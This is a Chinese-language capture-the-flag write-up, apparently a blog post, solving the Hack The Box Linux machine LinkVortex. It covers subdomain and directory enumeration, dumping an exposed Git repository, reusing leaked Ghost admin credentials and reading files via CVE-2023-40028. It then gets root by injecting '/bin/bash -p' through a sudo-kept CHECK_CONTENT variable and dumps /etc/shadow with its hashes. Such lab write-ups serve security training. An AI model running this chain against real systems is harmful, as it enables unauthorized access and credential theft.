MANESEC on 2024-12-14
Recommand: Let's Sign Up HTB Academy to get Higher level of knowledge :P
非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P
https://www.hackthebox.com/achievement/machine/463126/638
這是一個針對 Linux 系統進行滲透測試的過程記錄,展現了從初始探索到最終獲取 root 權限的完整流程。首先,通過 Nmap 掃描發現目標的 80 端口會重定向至一個特定域名,從而推測存在子域名結構,進一步使用工具進行子域名掃描,發現了包含有價值信息的子域名 "dev"。在該子域中,通過快速目錄掃描找到一個 Git 存儲庫,並利用 git-dumper 提取其源碼。在分析提取的源碼時,注意到某些文件的歷史記錄中,透露了重要的配置路徑以及潛在密碼,其中一個密碼明顯符合標準並被用於測試 Ghost 後台的登錄嘗試。在成功登錄後台後,通過版本信息確認了使用的 Ghost 版本為 5.58.0。接著,通過定制化工具搜尋其已知漏洞,最終選定一個可用的漏洞(CVE-2023-40028)進行文件讀取測試。成功讀取關鍵文件後,發現一組密碼,用以獲得普通用戶的 shell 權限。進一步提權過程中,利用 sudo 配置中的環境變量 "CHECK_CONTENT" 漏洞進行命令注入,成功執行 Bash 並取得 root 權限。
這是一臺linux的機器。
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMHm4UQPajtDjitK8Adg02NRYua67JghmS5m3E+yMq2gwZZJQ/3sIDezw2DVl9trh0gUedrzkqAAG1IMi17G/HA= | 256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKKLjX3ghPjmmBL2iV1RCQV9QELEU+NF06nbXTqqj4dz 80/tcp open http syn-ack ttl 63 Apache httpd | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache |_http-title: Did not follow redirect to http://linkvortex.htb/ Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
一上來就用 nmap 進行掃描,發現80端口會自動跳轉到一個域名,也就是說這裏可能會有子域名,所以進行子域名掃描:
$ ffuf -u "http://10.129.247.8" -H "Host: FUZZ.linkvortex.htb" -w /Tools/Wordlists/N0kovoSubdomains/n0kovo_subdomains_small.txt -fs 230
有一個 dev 在裏面,一般 dev 肯定會有一些東西,所以使用 quickhits.txt 來快速掃描一下:
$ feroxbuster -u "http://dev.linkvortex.htb/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/quickhits.txt -d 1
很明顯看到有一個 git,所以使用 git-dumper 抓一下源碼:
$ python3 git_dumper.py http://dev.linkvortex.htb/.git repo
抓取源碼之後,看一下 git checkout:
$ git checkout
發現有人修改過兩個文件,第一個文件裏面發現有一個配置文件被移動到 /var/lib/ghost/config.production.json
,所以猜測裏面有奇怪的東西。
然後第二個文件裏面有密碼:
而且這個文件裏面不止一個密碼,使用grep 快速抓一下:
$ cat ghost/core/test/regression/api/admin/authentication.test.js | grep -i password
看來 OctopiFociPilfer45
這個很像是真的密碼,因爲和其他的單詞不一樣,於是嘗試搜索一下 ghost 的後臺頁面:
然後登錄進去後臺看一下:
由於上面的用戶名是 test@example.com
,感覺是假的,所以試一下 admin@linkvortex.htb
,結果登錄進去了:
admin@linkvortex.htb : OctopiFociPilfer45
點擊設置後,發現有個地方可以看版本:
是 Ghost 5.58.0,如果使用 whatweb 也可以探測到:
因爲谷歌很難找到關於 Ghost 5.58 這個版本的poc,於是使用 秘製の搜索工具 來快速搜索下,在CVE的官網中發現一些poc:
第一個 CVE-2024-34559
需要 WordPress Ghost plugin
,這裏肯定沒有安裝。
第二個 CVE-2024-34448
是直接把信息植入到 csv中,點擊導出后也不會有任何rce或者文件任意讀取的東西存在。
第三個,看起來可以讀取文件。
於是就去搜索一下第三個的poc名字,看到這個: https://github.com/0xyassine/CVE-2023-40028
在源碼中定義了 ghost 的 endpoint,所以需要修改一下,改好後如下:
然後直接運行,嘗試輸入 /etc/passwd
結果得到:
由於一開始的 Dockerfile.ghost
複製了一些奇怪的文件在容器裏面,所以嘗試讀取一下:
發現有一個密碼:
bob : fibber-talented-worth
嘗試登陸後得到 user shell。
一上來肯定是看 sudo -l
,結果發現有一個 env_keep+=CHECK_CONTENT
:
這裏肯定是故意放上去的,原本的sudo文件并不會固定指定這個變量,看一下脚本看看 CHECK_CONTENT
允許放些什麽:
看到一行 if $CHECK_CONTENT
,也就是說會先執行 $CHECK_CONTENT
裏面的命令,然後在判斷是不是運行成功,如果運行成功就會做if下面的内容,類似如下:
既然知道 $CHECK_CONTENT
可以用來執行命令,那麽就可以利用 $CHECK_CONTENT
來執行bash:
ln -s /tmp mane.png
export CHECK_CONTENT="/bin/bash -p"
sudo /usr/bin/bash /opt/ghost/clean_symlink.sh mane.png
然後就得到了root。
root@linkvortex:/home/bob# cat /etc/shadow
root:$y$j9T$C3zg87gHwrCXO0vl4igIh/$iisf9sVwilKAi7mI5p1FqQslJWM9t2.YUWznIPC/XIA:19814:0:99999:7:::
daemon:*:19579:0:99999:7:::
bin:*:19579:0:99999:7:::
sys:*:19579:0:99999:7:::
sync:*:19579:0:99999:7:::
games:*:19579:0:99999:7:::
man:*:19579:0:99999:7:::
lp:*:19579:0:99999:7:::
mail:*:19579:0:99999:7:::
news:*:19579:0:99999:7:::
uucp:*:19579:0:99999:7:::
proxy:*:19579:0:99999:7:::
www-data:*:19579:0:99999:7:::
backup:*:19579:0:99999:7:::
list:*:19579:0:99999:7:::
irc:*:19579:0:99999:7:::
gnats:*:19579:0:99999:7:::
nobody:*:19579:0:99999:7:::
_apt:*:19579:0:99999:7:::
systemd-network:*:19579:0:99999:7:::
systemd-resolve:*:19579:0:99999:7:::
messagebus:*:19579:0:99999:7:::
systemd-timesync:*:19579:0:99999:7:::
pollinate:*:19579:0:99999:7:::
sshd:*:19579:0:99999:7:::
usbmux:*:19814:0:99999:7:::
bob:$6$rounds=656000$4p3mw8hAd9ir.25f$ocGm9nW1TM2AB8Z.l0K.hi43bOrm3oxQsaKFACMoS2UL.tIXxSW3u/xsClrvkEhP5s.GUpdIvCX3qRtppDV8r.:19814:0:99999:7:::
dnsmasq:*:19814:0:99999:7:::
_laurel:!:20057::::::
Respect: If my writeup really helps you, Give me a respect to let me know, Thankssssss!
感謝: 製作不易,如果我的writeup真的幫到你了, 給我一個respect,這樣我就會知道,感謝你!
Found Mistakes: If you find something wrong in the page, please feel free email to mane@manesec.com thanksss !!!
發現一些錯誤: 如果你在文章中發現一些錯誤,請發郵件到 mane@manesec.com ,麻煩了!!
Beginner Recommand: If you are a beginner, please use this link to sign up for an HTB Academy to get more Higher level of knowledge.
新手非常推薦: 如果你是初學者,可以用此鏈接來嘗試注冊 HTB Academy 賬號。
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程,這對初學者來説是很友好的。 (建議先完成 INTRODUCTION TO ACADEMY)
Join HTB's academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
Copyright © 2016-2025 manesec. All rights (include theme) reserved.